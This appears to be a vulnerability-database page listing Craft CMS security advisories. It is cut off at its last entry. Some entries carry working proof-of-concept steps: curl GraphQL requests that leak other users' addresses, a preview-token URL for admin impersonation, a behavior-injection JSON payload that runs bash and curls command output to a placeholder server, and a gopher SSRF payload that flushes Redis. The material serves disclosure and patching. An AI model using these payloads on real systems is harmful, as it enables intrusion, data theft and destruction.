Search for packages
| purl | pkg:composer/craftcms/cms@4.4.2 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-1468-4fdx-kbfr
Aliases: CVE-2025-68454 GHSA-742x-x762-7383 |
Craft CMS vulnerable to potential authenticated Remote Code Execution via Twig SSTI For this to work, users must have administrator access to the Craft Control Panel, and [allowAdminChanges](https://craftcms.com/docs/5.x/reference/config/general.html#allowadminchanges) must be enabled for this to work, which is against Craft CMS' recommendations for any non-dev environment. https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production Alternatively, a non-administrator account with allowAdminChanges disabled can be used, provided access to the System Messages utility is available. It is possible to craft a malicious payload using the Twig `map` filter in text fields that accept Twig input under Settings in the Craft control panel or using the System Messages utility, which could lead to a RCE. Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue. References: https://github.com/craftcms/cms/commit/d82680f4a05f9576883bb83c3f6243d33ca73ebe https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04 |
Affected by 35 other vulnerabilities. Affected by 43 other vulnerabilities. |
|
VCID-1mb5-28xp-ckd2
Aliases: CVE-2025-68436 GHSA-53vf-c43h-j2x9 |
Craft CMS vulnerable to potential information disclosure via unchecked asset relocation Authenticated users on a Craft installation could potentially expose sensitive assets via their user profile photo via maliciously crafted requests. Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue. Resources: https://github.com/craftcms/cms/commit/4bcb0db554e273b66ce3b75263a13414c2368fc9 https://github.com/craftcms/cms/commit/4bcb0db554e273b66ce3b75263a13414c2368fc9 |
Affected by 35 other vulnerabilities. Affected by 43 other vulnerabilities. |
|
VCID-2vn9-2cs3-vbg3
Aliases: CVE-2023-33196 GHSA-cjmm-x9x9-m2w5 |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Craft is a CMS for creating custom digital experiences. Cross site scripting (XSS) can be triggered by review volumes. This issue has been fixed in version 4.4.7. |
Affected by 51 other vulnerabilities. Affected by 51 other vulnerabilities. |
|
VCID-41uv-1axm-fugb
Aliases: CVE-2026-44010 GHSA-gj2p-p9m4-c8gw |
Craft CMS's Missing Authorization in GraphQL Address Resolver Allows Cross-Scope PII Disclosure ### Summary The GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc. ### Details Every GraphQL element resolver in Craft CMS applies schema scope filtering via `GqlHelper::extractAllowedEntitiesFromSchema()` when handling top-level queries, except the Address resolver. The only gate check for addresses is `canQueryUsers()` (`src/gql/queries/Address.php`, line 30), which is a binary check. It returns `true` if the token has access to *any* user group. Once past this gate, no further filtering is applied. ### PoC **Tested on:** CraftCMS 5.9.17 (fresh Docker install, PHP 8.3) **Prerequisites:** A GraphQL API token with read access to any single user group ### Environment - Two user groups: `publicUsers` (in token scope) and `internalTeam` (NOT in scope) - 5 internal executives with corporate addresses (internalTeam) - 3 public customers with personal addresses (publicUsers) - GQL token scoped to `publicUsers:read` only **Step 1:** Introspect the schema to discover the `addresses` query is available to this token. Issue the below curl command ```bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"Query\") { fields { name description } } }"}' http://localhost:8080/actions/graphql/api | jq ``` <img width="1641" height="856" alt="image" src="https://github.com/user-attachments/assets/d798b4d2-9965-40fd-8252-ba6b08d1dde9" /> The token can see `addresses`, `entries`, `users` as top-level queries. **Step 2:** Enumerate Address fields to identify PII exposure surface. ```bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"AddressInterface\") { fields { name type { name } } } }"}' http://localhost:8080/actions/graphql/api | jq ``` <img width="1726" height="862" alt="image" src="https://github.com/user-attachments/assets/31a90b5d-7337-49b9-8802-355f16b7b4f3" /> > Exposed fields include: `fullName`, `firstName`, `lastName`, `addressLine1/2/3`, `locality`, `postalCode`, `countryCode`, `organization`, `organizationTaxId`, `latitude`, `longitude`. > **Step 3:** Establish baseline - confirm the token’s user scope is limited. This proves our token only has access to the `publicUsers` group. ```bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq ``` <img width="1626" height="492" alt="image" src="https://github.com/user-attachments/assets/42ec8c3d-d1ae-4eac-9202-af072f394e4a" /> Only 5 public users returned. Scope enforcement works correctly for the User resolver — internal executives are NOT visible. **Step 4:** Query all addresses - the token returns data for ALL user groups, including those outside its authorized scope. ```bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq ``` <img width="1902" height="910" alt="image" src="https://github.com/user-attachments/assets/ef34e11c-36a8-4582-93e3-04c3e4dad6ab" /> <img width="1444" height="942" alt="image" src="https://github.com/user-attachments/assets/64d6edec-60bf-4481-8a20-7f64c81c015b" /> ▎ "This token can only see 5 users, but it returns 10 addresses" as shown in the above 2 screenshot outputs > **All 10 addresses returned.** The same token that only sees 5 public users now returns addresses for internal executives including corporate tax IDs: > > - Sarah Chen, 4200 Executive Plaza Dr, SF — Horizon Dynamics Inc. (TaxID: 82-4917263) > - James Whitfield, 89 Kensington High St, London — Whitfield Capital Partners LLP (TaxID: GB927461038) > - Maria Rossi, 15 Via della Conciliazione, Roma — Rossi & Bianchi Avvocati (TaxID: IT04829173651) > - David Nakamura, 2-11-3 Meguro, Tokyo — Nakamura Medical Technologies KK (TaxID: JP8230-4719-2835) > - Elena Voronova, 27 Universitätsstrasse, Zurich — Voronova Biotech AG (TaxID: CHE-384.291.057) --- **Step 5:** Targeted IDOR - extract a specific internal user’s address by owner ID. ```bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses(ownerId: [3]) { fullName addressLine1 addressLine2 locality postalCode countryCode organization organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq ``` <img width="1902" height="365" alt="image" src="https://github.com/user-attachments/assets/b7c6d5cf-295a-433a-a76c-2b69815968cd" /> > Directly extracts a specific internal team member’s address: “Secret Admin”, 1 Secret Government Facility, Suite 007, Langley 22101 — SecretCorp LLC (TaxID: 98-7654321). The token has zero authorization to access this user’s data. ## Impact ### Who is Impacted Any Craft CMS Pro site (v4.0.0+) that uses GraphQL API tokens with user group scoping and stores user addresses. This is the standard deployment pattern for headless CMS sites using frameworks such as Next.js, Nuxt.js, or Gatsby. An attacker with any valid GraphQL token that has access to at least one user group can extract all addresses in the system, regardless of scope restrictions. ### Risk - Direct threat to installation data: Any GraphQL API token with access to any single user group can extract all address systems-wide, including names, home addresses, organizations, and tax IDs belonging to users in restricted groups. - Targeted extraction via IDOR: The `ownerId` argument allows an attacker to extract specific users’ addresses by ID, enabling targeted reconnaissance against administrators or high-value users without any brute-force or elevated access. - Scope boundary failure: Craft CMS’s GraphQL schema scoping system is the primary security mechanism for controlling API access. Every other element resolver (Entry, User, Asset, Category, Tag) enforces this boundary. The Address resolver does not, making this a foundational gap in Craft’s native authorization model and not a site-specific configuration issue. - Affects all installations using GraphQL with user groups: Any Craft CMS Pro site that exposes a scoped GraphQL token and stores addresses is affected. This is the standard headless CMS deployment pattern, not an edge case. ## AI Disclosure This vulnerability was identified through manual source code review with AI-assisted analysis (Claude). The initial pattern deviation (Address resolver missing scope filtering while all other resolvers have it) was identified through manual comparison of resolver implementations. AI was used to assist with code navigation, PoC scripting, and report drafting. All findings were verified against a local Docker instance of Craft CMS 5.9.17. ## Resources https://github.com/craftcms/cms/commit/834b2cf61ad0dcee9b03add44ed402ebf18db128 |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-4wkr-jx1w-77hn
Aliases: CVE-2026-31857 GHSA-fp5j-j7j4-mcxc |
CraftCMS has an RCE vulnerability via relational conditionals in the control panel A Remote Code Execution vulnerability exists in the Craft CMS 5 conditions system. The `BaseElementSelectConditionRule::getElementIds()` method passes user-controlled string input through `renderObjectTemplate()` -- an unsandboxed Twig rendering function with escaping disabled. Any authenticated Control Panel user (including non-admin roles such as Author or Editor) can achieve full RCE by sending a crafted condition rule via standard element listing endpoints. This vulnerability requires no admin privileges, no special permissions beyond basic control panel access, and bypasses all production hardening settings (allowAdminChanges: false, devMode: false, enableTwigSandbox: true). Users should update to the patched 5.99 release to mitigate the issue. |
Affected by 12 other vulnerabilities. Affected by 18 other vulnerabilities. |
|
VCID-5cxe-tjpb-3qan
Aliases: CVE-2024-52291 GHSA-jrh5-vhr9-qh7q |
Local File System Validation Bypass Leading to File Overwrite, Sensitive File Access, and Potential Code Execution A vulnerability in CraftCMS allows an attacker to bypass local file system validation by utilizing a double `file://` scheme (e.g., `file://file:////`). This enables the attacker to specify sensitive folders as the file system, leading to potential file overwriting through malicious uploads, unauthorized access to sensitive files, and, under certain conditions, remote code execution (RCE) via Server-Side Template Injection (SSTI) payloads. Note that this will only work if you have an authenticated administrator account with allowAdminChanges enabled |
Affected by 46 other vulnerabilities. Affected by 50 other vulnerabilities. |
|
VCID-5mnd-qvaq-k3am
Aliases: CVE-2025-68456 GHSA-v64r-7wg9-23pr |
Unauthenticated Craft CMS users can trigger a database backup Unauthenticated users can trigger database backup operations via specific admin actions, potentially leading to resource exhaustion or information disclosure.Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.Craft 3 users should update to the latest Craft 4 and 5 releases, which include the fixes.Resources: https://github.com/craftcms/cms/commit/f83d4e0c6b906743206b4747db4abf8164b8da39 https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md |
Affected by 35 other vulnerabilities. Affected by 43 other vulnerabilities. |
|
VCID-5pur-jy1x-gfhv
Aliases: CVE-2023-33197 GHSA-6qjx-787v-6pxr |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Craft is a CMS for creating custom digital experiences on the web. Cross-site scripting (XSS) can be triggered via the Update Asset Index utility. This issue has been patched in version 4.4.6. |
Affected by 52 other vulnerabilities. |
|
VCID-6hcd-ayyh-3fdb
Aliases: CVE-2023-31144 GHSA-j4mx-98hw-6rv6 |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in craftcms/cms. |
Affected by 56 other vulnerabilities. |
|
VCID-71sv-62m4-z3er
Aliases: CVE-2024-52293 GHSA-f3cw-hg6r-chfv |
Craft CMS vulnerable to Potential Remote Code Execution via missing path normalization & Twig SSTI Missing `normalizePath` in the function `FileHelper::absolutePath` could lead to Remote Code Execution on the server via twig SSTI. `(Post-authentication, ALLOW_ADMIN_CHANGES=true)` |
Affected by 47 other vulnerabilities. Affected by 51 other vulnerabilities. |
|
VCID-7y4f-ef7t-47eb
Aliases: CVE-2025-68455 GHSA-255j-qw47-wjh5 |
Craft CMS vulnerable to potential authenticated Remote Code Execution via malicious attached Behavior This was reported as a vulnerability in Yii framework on August 7th (https://github.com/yiisoft/yii2/security/advisories/GHSA-gcmh-9pjj-7fp4). The Yii framework team denies responsibility for this (placing the onus on application developers) and hence has not (and seemingly will not) provide a fix at the framework level. Hence, I am reporting this to Craft as I found it to affect the latest (`5.6.0`) version of Craft CMS. Leveraging a legitimate but maliciously crafted Yii `Behavior` class, it’s possible to trigger Remote Code Execution (RCE) via Reflection when the tainted `Behavior` is attached to a Yii `Component`, and an event is also fired on the tainted `Component`. |
Affected by 35 other vulnerabilities. Affected by 43 other vulnerabilities. |
|
VCID-83rt-3tyj-qbgx
Aliases: CVE-2026-32267 GHSA-cc7p-2j3x-x7xf |
Craft CMS Vulnerable to Privilege Escalation/Bypass through UsersController->actionImpersonateWithToken() ### Summary A low-privilege user (or an unauthenticated user who has been sent a shared URL) can escalate their privileges to admin by abusing `UsersController->actionImpersonateWithToken`. Affected users should update to Craft 4.17.6 and 5.9.12 to mitigate the issue. ### Details This vulnerability allows any low-privilege user to escalate their privileges and become an admin, or, in extreme circumstances, unprivileged users to do the same. Therefore, this vulnerability affects Craft Pro and Team more than Craft Solo. Specifically, an attacker who possesses a valid “preview token” can then append `&action=users/impersonate-with-token&userId=1&prevUserId=1` to the preview URL to hijack the request into the impersonation endpoint, logging in as any user (including admin) without authentication. Getting the preview token is easy, and all an editor would have to do is create a single article, click “Preview”, and then recover this token. Here’s what happens: 1. The action re-dispatch in `actionPreview()` passes `$skipSpecialHandling=true` to `handleRequest()`, bypassing all security guards, and passes `$checkToken=false` to `checkIfActionRequest()`, which allows an attacker-controlled action query parameter to override the dispatch target. 2. The `requireToken()` guard on `actionImpersonateWithToken()` only checks a boolean (`_hadToken`) that was set when the preview token was initially resolved. It does not verify that the token was intended for the impersonation action, and so any valid token from any route satisfies the check. 3. `actionImpersonateWithToken` is listed in `$allowAnonymous` and performs no authorization beyond `requireToken()`, so no prior authentication is required. ### PoC The PoC achieves full admin takeover on the latest Craft CMS 5.9.10. Spawn a local version of Craft. Then, you’ll want to log in and create a valid setup: 1. Log in at http://host:18895/admin 2. Go to Settings, Sections, New Section (name: "Blog", type: "Channel") 3. Under Site Settings, set URI Format to blog/{slug} 4. Then go to Entries, New Entry, Blog, and give it any title Next, obtain a preview token 1. Open the saved entry in the editor 2. Click the Preview button 3. A preview pane opens with the entry rendered in an iframe 4. Right-click inside the preview pane and Inspect Element 5. Find the <iframe> element; its src contains the tokenized URL: `http://host:18895/blog/title?x-craft-live-preview=...&token=XXXXXXXX` 6. Copy the `token=` value Finally, execute the exploit: 1. Open a new incognito/private browser window 2. Navigate to: `http://host:18895/?token=XXXXXXXX&action=users/impersonate-with-token&userId=1&prevUserId=1` 3. You may see a 404. This is expected. To verify the exploit, in the same incognito tab, navigate to `http://host:18895/admin`. You should land on the admin dashboard, logged in as admin, without ever entering credentials. ### Impact Privilege escalation; everyone is impacted. |
Affected by 9 other vulnerabilities. Affected by 13 other vulnerabilities. |
|
VCID-8u2j-17a4-q7eh
Aliases: CVE-2026-28697 GHSA-v47q-jxvr-p68x |
Craft CMS Vulnerable to Authenticated RCE via "craft.app.fs.write()" in Twig Templates An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the `craft.app.fs.write()` method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands. --- |
Affected by 16 other vulnerabilities. Affected by 23 other vulnerabilities. |
|
VCID-9ca4-tbhq-27ad
Aliases: CVE-2026-44011 GHSA-qrgm-p9w5-rrfw |
Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list. This is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original. The request-controlled condition field layouts data is converted into a live FieldLayout object without a `Component::cleanseConfig()` boundary. Because Craft configures models before `parent::__construct()`, attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event. This appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path. We were able to reproduce the attack by issuing a POST request to `/admin/actions/element-search/search` with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same `beforeAction()` path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path: ``` POST /admin/actions/element-search/search HTTP/2 Host: hostnamehere Cookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...; Content-Length: … User-Agent: Mozilla/5.0 X-Csrf-Token: ... Accept: application/json Content-Type: application/json { "elementType": "craft\\elements\\Category", "siteId": 1, "search": "", "condition": { "class": "craft\\elements\\conditions\\ElementCondition", "elementType": "craft\\elements\\Category", "fieldLayouts": [ { "as rce": { "__class": "yii\\behaviors\\AttributeTypecastBehavior", "__construct()": [ { "attributeTypes": { "typecastBeforeSave": [ "Psy\\Readline\\Hoa\\ConsoleProcessus", "execute" ] }, "typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/`id`\](https://yourcollaboratorservergoeshere/%60id%60/)"" } ] }, "on *": "self::beforeSave" } ] } } ``` ## Resources https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3 |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-9enr-b6zd-mbh8
Aliases: CVE-2026-25498 GHSA-7jx7-3846-m7w7 |
Craft CMS Vulnerable to potential authenticated Remote Code Execution via malicious attached Behavior A Remote Code Execution (RCE) vulnerability exists in Craft CMS where the `assembleLayoutFromPost()` function in `src/services/Fields.php` fails to sanitize user-supplied configuration data before passing it to `Craft::createObject()`. This allows authenticated administrators to inject malicious Yii2 behavior configurations that execute arbitrary system commands on the server. This vulnerability represents an **unpatched variant** of the behavior injection vulnerability addressed in GHSA-255j-qw47-wjh5, affecting different endpoints through a separate code path. --- |
Affected by 30 other vulnerabilities. Affected by 36 other vulnerabilities. |
|
VCID-aajd-9qsf-37cr
Aliases: CVE-2023-33495 GHSA-m3v5-gjj9-rg24 |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Craft CMS through 4.4.9 is vulnerable to HTML Injection. |
Affected by 50 other vulnerabilities. |
|
VCID-akrv-yqnf-1kg8
Aliases: CVE-2026-29069 GHSA-234q-vvw3-mrfq |
Craft CMS has unauthenticated activation email trigger with potential user enumeration The `actionSendActivationEmail()` endpoint is accessible to unauthenticated users and does not require a permission check for pending users. An attacker with no prior access can trigger activation emails for any pending user account by knowing or guessing the user ID. If the attacker controls the target user’s email address, they can activate the account and gain access to the system. The vulnerability is not that anonymous access exists - there’s a legitimate use case for it. The vulnerability is that the endpoint accepts arbitrary `userId` parameters without verifying ownership. Craft CMS allows public user registration. When a user registers but doesn’t receive their activation email (spam filter, typo correction, etc.), they need a way to request a resend. This is why `send-activation-email` is in the `allowAnonymous` array - it’s intentional self-service functionality. |
Affected by 15 other vulnerabilities. Affected by 22 other vulnerabilities. |
|
VCID-azr5-12f8-hfbm
Aliases: CVE-2026-28784 GHSA-qc86-q28f-ggww |
Craft CMS has potential authenticated Remote Code Execution via Twig SSTI For this to work, the attacker must have administrator access to the Craft Control Panel, and [allowAdminChanges](https://craftcms.com/docs/5.x/reference/config/general.html#allowadminchanges) must be enabled, which is against Craft CMS' recommendations for any non-dev environment. https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production Alternatively, they can have a non-administrator account with `allowAdminChanges` disabled, but they must have access to the System Messages utility. It is possible to craft a malicious payload using the Twig `map` filter in text fields that accept Twig input under Settings in the Craft control panel or using the System Messages utility, which could lead to a RCE. Users should update to the patched versions (5.8.22 and 4.16.18) to mitigate the issue. References: https://github.com/craftcms/cms/pull/18208 |
Affected by 16 other vulnerabilities. Affected by 23 other vulnerabilities. |
|
VCID-c2nk-y4rx-1qf4
Aliases: CVE-2024-56145 GHSA-2p6p-9rc9-62j9 |
Craft CMS has potential RCE when PHP `register_argc_argv` config setting is enabled You are affected if your php.ini configuration has `register_argc_argv` enabled. |
Affected by 44 other vulnerabilities. Affected by 48 other vulnerabilities. |
|
VCID-chep-xthg-zuee
Aliases: CVE-2024-52292 GHSA-cw6g-qmjq-6w2w |
Craft CMS Arbitrary System File Read By abusing the mail notification template it is possible to read arbitrary operating system files. |
Affected by 45 other vulnerabilities. Affected by 49 other vulnerabilities. |
|
VCID-cys8-jnmu-77ec
Aliases: CVE-2026-25494 GHSA-m5r2-8p9x-hp5m |
Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation The `saveAsset` GraphQL mutation uses `filter_var(..., FILTER_VALIDATE_IP)` to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. --- |
Affected by 30 other vulnerabilities. Affected by 36 other vulnerabilities. |
|
VCID-dz26-b2ts-puep
Aliases: CVE-2023-36260 GHSA-6p78-f7h9-6838 |
Craft CMS Feed-Me An issue discovered in Craft CMS version 4.6.1. allows remote attackers to cause a denial of service (DoS) via crafted string to Feed-Me Name and Feed-Me URL fields due to saving a feed using an Asset element type with no volume selected. |
Affected by 0 other vulnerabilities. Affected by 48 other vulnerabilities. |
|
VCID-e94m-mj1k-8kbr
Aliases: CVE-2026-41129 GHSA-3m9m-24vh-39wx |
Server-Side Request Forgery (SSRF) in Craft CMS with Asset Uploads Mutations ## Required Permissions The exploitation requires a few permissions to be enabled in the used GraphQL schema: * "Edit assets in the <VolumeName> volume" * "Create assets in the <VolumeName> volume" ## Details The implementation fails to restrict the URL Scheme. While the application is intended to "upload assets", there is no whitelist forcing `http` or `https`. This allows attackers to use the Gopher protocol to wrap raw TCP commands. **Impact:** Combined with the DWORD bypass, an attacker can hit internal services without triggering any "127.0.0.1" string-matching filters. **Example Payload:** gopher://2130706433:6379/_FLUSHALL (Targets local Redis via DWORD). **Remediation Strategy** To prevent mathematical IP obfuscation, the application must normalize the hostname before validation. |
Affected by 2 other vulnerabilities. Affected by 3 other vulnerabilities. |
|
VCID-eaxm-rjr7-xudb
Aliases: CVE-2026-33159 GHSA-6mrr-q3pj-h53w |
Craft CMS: Unauthenticated Users Can Perform Restricted Project Config Sync Operations ### Summary Guest users can access Config Sync updater `index`, obtain signed `data`, and execute state-changing Config Sync actions (`regenerate-yaml`, `apply-yaml-changes`) without authentication. ### Details `ConfigSyncController` extends `BaseUpdaterController`, and the base updater is anonymously accessible for control panel requests. `index` emits signed updater state (`data`), which can be reused by guests in subsequent requests. Sensitive actions that are reachable via this method are `actionApplyYamlChanges`, `actionRegenerateYaml`, `applyExternalChanges`, and `regenerateExternalConfig`. #### Reproduction steps 1. Guest POST to: http POST /admin/actions/config-sync/index 2. Extract data from returned JS state: Craft.updater = ... setState({"data":"<signedData>", ...}); 3. Reuse data as a guest: ``` POST /admin/actions/config-sync/regenerate-yaml data=<signedData>&<csrfParam>=<csrfToken> ``` or ``` POST /admin/actions/config-sync/apply-yaml-changes data=<signedData>&<csrfParam>=<csrfToken> ``` 4. Observe completed response and state/file changes. ### Impact Unauthenticated users can execute project configuration sync operations that should be restricted to trusted admin/deployment contexts. Depending on the pending YAML/config state, this can cause unauthorized config state transitions and a service integrity risk. ### Resources https://github.com/craftcms/cms/commit/7f0ead833f7 |
Affected by 4 other vulnerabilities. Affected by 6 other vulnerabilities. |
|
VCID-ec34-nvn3-qbcb
Aliases: CVE-2023-40035 GHSA-44wr-rmwq-3phw |
Craft CMS vulnerable to Remote Code Execution via validatePath bypass Bypassing the validatePath function can lead to potential Remote Code Execution (Post-authentication, ALLOW_ADMIN_CHANGES=true) |
Affected by 47 other vulnerabilities. |
|
VCID-efwv-r3nc-73h9
Aliases: CVE-2026-32262 GHSA-472v-j2g4-g9h2 |
Craft CMS has a Path Traversal Vulnerability in AssetsController The `AssetsController->replaceFile()` method has a `targetFilename` body parameter that is used unsanitized in a `deleteFile()` call before `Assets::prepareAssetName()` is applied on save. This allows an authenticated user with `replaceFiles` permission to delete arbitrary files within the same filesystem root by injecting `../` path traversal sequences into the filename. This could allow an authenticated user with `replaceFiles` permission on one volume to delete files in other folders/volumes that share the same filesystem root. This only affects local filesystems. Users should update to Craft 4.17.5 or 5.9.11 to mitigate the issue. |
Affected by 10 other vulnerabilities. Affected by 14 other vulnerabilities. |
|
VCID-f7gc-cgka-tycr
Aliases: CVE-2023-41892 GHSA-4w8r-3xrw-v25g |
Improper Control of Generation of Code ('Code Injection') Craft CMS is a platform for creating digital experiences. This is a high-impact, low-complexity attack vector. Users running Craft installations before 4.4.15 are encouraged to update to at least that version to mitigate the issue. This issue has been fixed in Craft CMS 4.4.15. |
Affected by 47 other vulnerabilities. |
|
VCID-fpea-e48p-kfbn
Aliases: CVE-2026-27127 GHSA-gp2f-7wcm-5fhx |
Craft CMS has Cloud Metadata SSRF Protection Bypass via DNS Rebinding The SSRF validation in Craft CMS’s GraphQL Asset mutation performs DNS resolution **separately** from the HTTP request. This Time-of-Check-Time-of-Use (TOCTOU) vulnerability enables DNS rebinding attacks, where an attacker’s DNS server returns different IP addresses for validation compared to the actual request. This is a bypass of the security fix for CVE-2025-68437 ([GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc)) that allows access to all blocked IPs, not just IPv6 endpoints. |
Affected by 25 other vulnerabilities. Affected by 31 other vulnerabilities. |
|
VCID-fpke-p7sz-nfc9
Aliases: CVE-2026-33160 GHSA-5pgf-h923-m958 |
Craft CMS may expose private assets through anonymous "generate transform" calls via transform URL ### Summary An unauthenticated user can call `assets/generate-transform` with a private `assetId`, receive a valid transform URL, and fetch transformed image bytes. The endpoint is anonymous and does not enforce per-asset authorization before returning the transform URL. ### Details Root cause: - Anonymous endpoint accepts user-controlled asset reference. - It creates and returns a transform URL for that asset without checking access rights. - If the transform output is reachable, guest users can read content derived from private assets. Who is impacted: - Installations where private source assets can be transformed and transform URLs are reachable. Security consequence: - Anonymous users can obtain content derived from private assets without authentication. ### Resources https://github.com/craftcms/cms/commit/7290d91639e |
Affected by 4 other vulnerabilities. Affected by 6 other vulnerabilities. |
|
VCID-gzry-xtu5-ukhu
Aliases: CVE-2026-41130 GHSA-95wr-3f2v-v2wh |
Craft CMS has a host header injection leading to SSRF via resource-js endpoint ### Summary The `resource-js` endpoint in Craft CMS allows unauthenticated requests to proxy remote JavaScript resources. When `trustedHosts` is not explicitly restricted (default configuration), the application trusts the client-supplied Host header. This allows an attacker to control the derived `baseUrl`, which is used in prefix validation inside `actionResourceJs()`. By supplying a malicious Host header, the attacker can make the server issue arbitrary HTTP requests, leading to Server-Side Request Forgery (SSRF). ### Details The vulnerability exists in `AppController::actionResourceJs()`. The function validates that the `url` parameter starts with `assetManager->baseUrl`. However, `baseUrl` is derived from the current request host. If `trustedHosts` is not configured, the Host header is fully attacker-controlled. Attack chain: 1. Attacker sends request with controlled `Host` header. 2. Application derives `baseUrl` from the malicious Host. 3. `url` parameter is required to start with this `baseUrl`. 4. Validation passes. 5. Guzzle performs a server-side HTTP request to the attacker-controlled host. 6. SSRF occurs. This does not rely on string parsing bypass. It relies on Host header trust. ### PoC (safe reproduction steps) Environment: - Craft CMS 5.9.12 - Default configuration (no trustedHosts restriction) - Docker deployment 1. Start a listener inside the container: python3 -m http.server 9999 2. Send a request to resource-js with a controlled Host header. 3. Observe that the internal listener receives a request (OOB confirmation). |
Affected by 2 other vulnerabilities. Affected by 3 other vulnerabilities. |
|
VCID-h6t5-pdp5-8qhe
Aliases: CVE-2025-57811 GHSA-crcq-738g-pqvc |
Craft CMS Potential Remote Code Execution via Twig SSTI Note that users must have administrator access to the Craft Control Panel, and [allowAdminChanges](https://craftcms.com/docs/5.x/reference/config/general.html#allowadminchanges) must be enabled for this to work, which is against Craft CMS' recommendations for any non-dev environment. https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production Note: This is a follow-up to [GHSA-f3cw-hg6r-chfv](https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv) Users should update to the patched versions (4.16.6 and 5.8.7) to mitigate the issue. Resources: https://github.com/craftcms/cms/pull/17612 |
Affected by 40 other vulnerabilities. Affected by 48 other vulnerabilities. |
|
VCID-hkp9-3hzv-quhk
Aliases: CVE-2026-27129 GHSA-v2gc-rm6g-wrw9 |
Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution The SSRF validation in Craft CMS’s GraphQL Asset mutation uses `gethostbyname()`, which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection. This is a bypass of the security fix for CVE-2025-68437 ([GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc)). |
Affected by 25 other vulnerabilities. Affected by 31 other vulnerabilities. |
|
VCID-hm7h-7cu3-8be1
Aliases: CVE-2023-33194 GHSA-3wxg-w96j-8hq9 |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Craft is a CMS for creating custom digital experiences on the web. The platform does not filter input and encode output in Quick Post validation error message, which can deliver an XSS payload. Old CVE fixed the XSS in label HTML but didn’t fix it when clicking save. This issue was patched in version 4.4.6. |
Affected by 52 other vulnerabilities. |
|
VCID-hyct-5gap-7kdu
Aliases: CVE-2026-29113 GHSA-vg3j-hpm9-8v5v |
Craft CMS has a potential information disclosure vulnerability in preview tokens Craft CMS has a CSRF issue in the preview token endpoint at `/actions/preview/create-token`. The endpoint accepts an attacker-supplied `previewToken`. Because the action does not require POST and does not enforce a CSRF token, an attacker can force a logged-in victim editor to mint a preview token chosen by the attacker. That token can then be used by the attacker (without authentication) to access previewed/unpublished content tied to the victim’s authorized preview scope. --- |
Affected by 12 other vulnerabilities. Affected by 20 other vulnerabilities. |
|
VCID-jeyh-3jxd-z3g6
Aliases: CVE-2026-25495 GHSA-2453-mppf-46cj |
